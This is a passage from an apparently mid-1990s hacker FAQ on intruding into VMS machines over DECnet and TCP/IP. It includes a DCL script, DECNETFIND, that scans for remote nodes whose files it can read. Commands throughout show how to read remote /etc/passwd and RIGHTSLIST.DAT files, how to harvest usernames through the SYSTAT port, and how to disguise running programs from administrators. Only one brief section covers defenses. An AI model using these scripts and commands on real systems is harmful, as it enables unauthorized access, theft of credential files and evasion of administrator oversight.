.or 

$ DIR NODE::SYS$COMMON:[SYSEXE]  ! Shows logical SYS$COMMON and the SYSEXE
.... ! Directory on the remote node. 

.or

$ COPY NODE::DISK1:[BOB]SECRET.TXT []  ! The "[]" means "wherever i am"

.Remember DECNet object logs are being kept!

4.      "What if I want to connect and use the nodes interactively?". 

.One of two ways.  Either way requires NETMBX privilege. Try to
."SET HOST [NODENAME]".  If that fails, 
.try to use NCP (Network Control Program),  like this.....

$ MCR NCP CONNECT NODE [NODENAME]

5.      "Well, Gee,  thats wonderful.  How do I find connectable nodes
.that are on the DECNet"

.Once again, this information can be found using the NCP (
.or via a "SHOW NETWORK") command. "SHOW NETWORK" won't work  
.if you are on a non-routing node. You might not get a 
.*complete* listing,  because the host you are on might not 
.know all DECNet nodes,  but it will at least get you hoping 
.around on the DECNet.  This list can be obtain via executing.....

$ MCP NCP SHOW KNOWN NODE (SYS$SYSTEM:NETNODE_LOCAL.DAT,
...   SYS$SYSTEM:NETNODE_REMOTE.DAT)

.This will dump a list.  You can sort though the information 
.using the NCP connect command,  and see what all sorts 
.of things you run into (Xyplex/DECServers,  Other VMS Machines, 
.SNA Gateway controls,  etc, etc).  If you are only interested
.in machine that you can get file information on,  you can 
.us the following command file to find nodes that you can
.use. 
.


$! DECNETFIND  Version 1.0
$! Coded By The Beaver
$! Jan 5th,  1995
$!
$! The intent of this code is to scan for remote,  connectable nodes that
$! the VMS host knows about (Via NCP) and build a list.  Once this list
$! has been created,  we check to see if the remote machine is indeed
$! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly
$! accessed via the DECNet 3> Can we read file systems on the remote node. 
$! Node that are "successful" are stored away.  This prevents mucho 
$! time consuming scanning by hand.  
$!
$!
$ on error then goto err                        ! In case of Boo-Boo
$ say :== write sys$output
$ if p1 .eqs. ""                                ! Yes, output file helps 
$       then
$       say "DECNet VMS Node Finder Version 1.0                   1995"
$       say "Coded By The Beaver"
$       say ""
$       say "Usage:"
$       say "DECNETFIND [Outfile]"
$       exit
$       endif
$!
$ say "Building Node List Via NCP....(Working)"
$!
$ mcr ncp show known nodes to nodes.out  ! Fire up NCP and dump nodeslist
$ open/read in nodes.out                 ! Open to read
$ open/write nodelist 'p1'               ! "Success" Storage area. 
$ on severe_error then loop1             ! So things dont die on "dir ::"'s
$!
$ loop1:
$ read/end = end in line
$       name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename
$       if name .gts. "(" 
$         then  
$         say "**************************************************************"
$         say "Nodename: "+name
$         say ""
$         dir 'name'::          ! See if we can get to it via a DECNet DIR::
$         if $severity .nes "1"
$               then
$               say "Status:  Node Unreachable Via DECNet Dir::"
$               else
$               say "Status:  Found Good Node. [Logged]"
$               write nodelist name             ! Log it.
$               endif
$ endif
$ goto loop1
$ err:
$ say "Ouch.  There has been a error!"
$ end:
$ close in
$ close nodelist                ! Close up and leave,  exit stage
$ delete nodes.out;*            ! right
$ say "Complete!"
$ exit


."That works great,  but I ran into a Unix (Ultrix) machine,  and 
.when I do a 'DIR NODENAME::' it only gives me some jerk-off's 
.directory.   Is there anyway I can grab files off the remote machine 
.(Ultrix) and directory listings?"

.Once again,  no problem.   Format the command like this:

$ DIR NODE::"/etc"      ! will give remote nodes /etc directory

.Or to grab the /etc/passwd file on the remote node,  try....

$ TYPE NODE::"/etc/passwd"   ! And open a capture buffer. 

."Can I grab a VMS rights list?"

$ COPY NODE::"SYS$SYSTEM:RIGHTSLIST.DAT" RIGHTSLIST.DAT

6.  "Can't DECNet be protected more against this generic attack?"

.Sure,  by disabling the DECNet account and by watching any
.proxy accounts that may be set up (probably not a good idea to
.have a proxy into a privileged account). Unless a proxy account is
.set up (SYS$SYSTEM:NETPROXY.DAT), users must supply a password when
.attempting to do network operations like above.  Proxy logins are
.formatted below:

.(This example is using the DCL COPY command)

.COPY remotenode"proxyaccount"::filename filename

.for example, 

.COPY ADAM"BOB"::SECURITY.TXT MYSECURITY.TXT

.(BOB - The Proxy login name)

.However,  in a vannila VMS (IE - Default installation), 
.proxy logins are not enabled. 

7.      "Are proxy logins logged.. Can I write a routine that will
.attempt proxy accounts to break into remote machines?"

.You bet that proxy logins are logged.   Repeating invalid 
.attempts will inform the administrations that a "NETWORK
.BREAK IN" is in effect (via the OPCOM process). 

8.      Sneak Routing
.
.You can access a machine you normally couldn't by piggybacking
.over a machine(that can get to the machine you can't) you can get to
.through the DECNet account. This is called "Poor Man's Routing". It
.is preventable by the sys admin on the piggyback machine.

..-       TCP/IP Networked Machines        - 


1.  "I have found a remote VMS machine on a TCP/IP network (I.E. 
     the internet).   I have tried to finger the remote system in
     order to start collecting usernames,   I get a 'connection
     refused'.... Now what?"

.Connect to the SYSTAT port (Port 11).  This will give jobs
.currently running on the system.  More than likely,  this
.port has been left open.  With this in mind,  you can 
.sort though all the jobs and grab usernames,  while excluding
.system jobs (I.E - SWAPPER,  ERRFMT,  AUDIT_SERVER, 
.JOB_CONTROL,  NETACP,  EVL,  REMACP,  SYMBIONT*,  
.XYP_SERVER,   OPCOM,  INET_SERVERS, etc....etc).  

.Also,  I find one great trick is to look for "Student" type
.accounts.  That is,  accounts that appear to be repetitive. 
.You can then predict possible usernames. 

.The above can be accomplisted by using the below command
.(In most cases):

$ TELNET SITE.ADDRESS.COM /PORT=11

.Try other ports as well.  Netstat is port 15.

2.      "On Unix machines,  I can make a symbolic link to a 'questionable'
.command,   so that is appears that I am doing one thing when 
.I am really doing another (Or copying and renaming the command). 
.Is there anyway I can make it appear that I am doing something 
.that I am not?". 

.When the command "FINGER" is issued,  a user/administrator
.can see what image is currently being executed by a particular
.user.   For example sake,  lets say you want to play with 
.NCP but you know that if the administrators see you in NCP, 
.they will get rather irate,  and kick you off the system. 
.You can make it appear that you are doing something else 
.by:

.a>  Copying the image,  renaming it,  and running it. [which
.    may or may not work]. 

3.      TCPDUMP

.Multinet(and probably other TCP/IP implementations on VMS) provides
.the sniffer program TCPDUMP, but of course you must be privileged
.to use it.


Final Notes: 

.This FAQ is far from complete,  and will remain in its "beta"
.stages for sometime.  

.I got alot of mail from alot of people. 

.Thanks to Shadow Hacker,   Risc,   Trouser,  Spoon,  and 
.all the boys at The Upper-Deck. 

.Bitwarrier for interesting conversation (besides terminal
.spoofing),  the ton of people that mailed me.  Thanks.

.- Things that need to be added/updates:

.  Identifying VMS machines.....
.  Information on the OPCOM process....

.- What we are looking for:

.  Ways of intercepting VMS communications(through mailboxes, etc.)

.  Passing commands via VMS mail.

.  Disk scavenging programs(along the lines of an "UNDELETE")

.  Xterm,Motif security

.  Various methods of machine spoofing(via TCP/IP,LAT,etc.)

.  File hacks with 'dump', 'patch', VFE, etc.

.  Anything else we might have missed.

.beaver@upperdck.blkbox.com

."It ain't done,  but hey... It a fucking start......"

